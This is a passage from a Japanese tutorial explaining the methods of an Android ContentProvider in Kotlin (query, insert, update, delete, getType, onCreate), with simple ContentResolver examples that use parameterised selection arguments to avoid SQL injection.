はqueryメソッドを使って取り出したいデータがあるデータベースのURIです。具体的には、content://パッケージ名.provider/テーブル名
で該当するテーブルに、content://パッケージ名.provider/テーブル名/ID
で該当するテーブルの該当するIDを持つ行にアクセスすることが出来ます。projection
は対象とするテーブルのカラム名を持つ文字列配列で、queryはここで指定したカラムのデータのみを取得します。selection
はSQLのWHERE文における、WHERE =
に続く文字列を渡してあげることで、テーブルに対してWHERE文を使ってデータの選択を行うことが出来ます。selectionArgs
もselection
と同じ類のものですが、SQLインジェクションを防ぐためのもので、selection
と連携して使います。本筋とはズレてしまうので、詳しい説明は割愛で。setOrder
は取得したデータにおける行の順番を入れ替えることが出来ます。ORDER BY
に相当する指定を行うことが可能で、例えばCOLUMN_NAME ASC
という文字列を渡したとすると、返ってくるデータはCOLUMN_NAME
というカラムが昇順になるよう順番が入れ替えられます。
このメソッドの返り値はCursor
オブジェクトです。insert()
このメソッドはプロバイダに対して新しい行を挿入する時に使われます。非常にシンプルに扱うことが出来ます。
override fun insert(uri: Uri, values: ContentValues?): Uri? {}
uri
はquery
と同じく、データを挿入したいテーブルのURIを渡してあげます。value
はContentValues
のオブジェクトで、データベースに挿入したいデータをカラムの名前とデータのペアで保持します。ContentValues
がNullableなように、この値はnullになることが可能です。
返り値は新しく挿入されたアイテムのURIです。具体的には、先ほど説明した末尾がIDのタイプのURIです。もしデータの挿入が上手く行かなかったら、この値はnullになります。update()
このメソッドはプロパイダ内の既存の行を更新します。引数で更新する行の細かな指定が可能です。
override fun update( uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<out String>? ): Int {引数はほぼほぼ
query
メソッドと同じです。唯一異なるのはvalues
がある点です。しかし、values
に関してはinsert
メソッドで説明したものと大体同じで、更新に使われるデータを渡します。
返り値は実際に更新した行の数をInt型で渡してくれます。delete()
プロパイダから行を削除する為に使用されます。
override fun delete(uri: Uri, selection: String?, selectionArgs: Array<out String>?): Int引数や返り値に関しては
update
メソッドとほぼ同じです。value
が引数にない点だけ異なります。getType()
与えられたURIに対するMIMEタイプを返します。
override fun getType(uri: Uri): String?MIMEタイプとは、拡張子と対になるような概念で、.pngというファイルならimage/pngというMIMEタイプを持ち、データの種類を表してくれます。どのような場面で必要になるかというと、
ContentProvider
を通してやり取りを行うデータに画像や文字列が混在する時、このメソッドを用いてそのそれぞれの処理を分けることが可能です。返り値は先述したように、MIMEタイプを文字列で返してくれます。onCreate()
プロパイダを初期化するメソッドです。プロバイダが作成された時、Androidシステムがこのメソッドを即座に呼び出してくれます。
override fun onCreate(): Boolean { Log.d(TAG, "onCreate: starts") return true }このメソッドはデータベースとやり取りを行ったり、ユーザーに何かを提供したりといった事はありません。リファレンスに極力冗長にならないようにと書かれているように、不用意にコードを書くとプロバイダの起動が遅くなってしまいます。返り値はtrueを返せば正常に動作します。
ContentResolver
ContentProvider
を実装したクラスだけでは当然データのやり取りを行うことは出来ません。データのやりとりを行わせたいアクティビティで、ContentResolver
づてにContentProvider
のメソッドを呼び出す必要があります。とはいってもそこまで複雑ではなく、単純なやり取りであれば非常に簡単なコードで済みます。以下は挿入・削除・更新の簡単な例です。private fun testInsert() { val values = ContentValues().apply { put(Column_NAME, "INSERT") } val uri = contentResolver.insert(TEST_URI, values) } private fun testUpdate() { val values = ContentValues().apply { put(Column_NAME, "UPDATE") } val selection = "Colimn_NAME" + " = ?" val selectionArgs = arrayOf("INSERT") val rowsAffected = contentResolver.update(TEST_URI, values, selection, selectionArgs) } private fun testDelete() { val selection = "Column_NAME" + " = ?" val selectionArgs = arrayOf("UPDATE") val rowsAffected = contentResolver.delete(TEST_URI, selection, selectionArgs) }どのメソッドも、
ContentResolver
を使ってクエリをDBに送っていることが何となくわかると思います。このように、ContentProvider
での実装はContentResolver
を経由して扱います。
具体的に各メソッドの説明をします。testInsert
メソッドはColumn_NAME
というカラムにINSERT
という文字列を持つ新たな行を挿入するためのメソッドです。testUpdate
はColumn_NAME
がINSERT
という行全てをUPDATE
という文字列に更新します。testDelete
はColumn_NAME
がUPDATE
という行を全て削除します。
selection
とselectionArgs
は↑のように使ってあげることで、SQLインジェクションを防ぐ事が出来ます。selection
の?
が順にselectionArgs
の配列に格納されます。WHERE =
に続くSQL文において、実際に指定する値についてはselectionArgs
に格納しているだけです。
これらのメソッドをアクティビティで使ってあげるだけで、簡単にプロバイダの操作が出来ます。ぜひ参考にしてみてください。